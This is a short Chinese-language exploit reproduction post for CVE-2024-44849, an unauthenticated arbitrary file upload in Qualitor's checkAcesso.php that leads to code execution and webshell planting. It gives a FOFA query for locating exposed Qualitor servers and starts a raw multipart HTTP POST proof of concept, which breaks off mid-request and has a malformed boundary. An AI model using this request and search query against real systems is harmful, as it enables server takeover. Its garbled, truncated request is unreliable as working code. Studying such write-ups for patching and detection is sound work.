Qualitor checkAcesso.php 任意文件上传漏洞复现(CVE-2024-44849)

0x01 漏洞概述

Qualitor 8.24及之前版本存在任意文件上传漏洞,未经身份验证远程攻击者可利用该漏洞代码执行，写入WebShell,进一步控制服务器权限。

0x02 复现环境

FOFA：app="Qualitor-Web"

0x03 漏洞复现

PoC

POST /html/ad/adfilestorage/request/checkAcesso.php HTTP/1.1
Host: 
Content-Type: multipart/form-data; boundary=---------------------------QUALITORspaceCVEspace2024space44849-----------------------------QUALITORspaceCVEspace2024space44849
Content-Disposition: form-data; name="idtipo"2
-----------------------------QUALITORspaceCVEspace2024space44849
Content-Disposition: form-data; name="nmfilestorage"----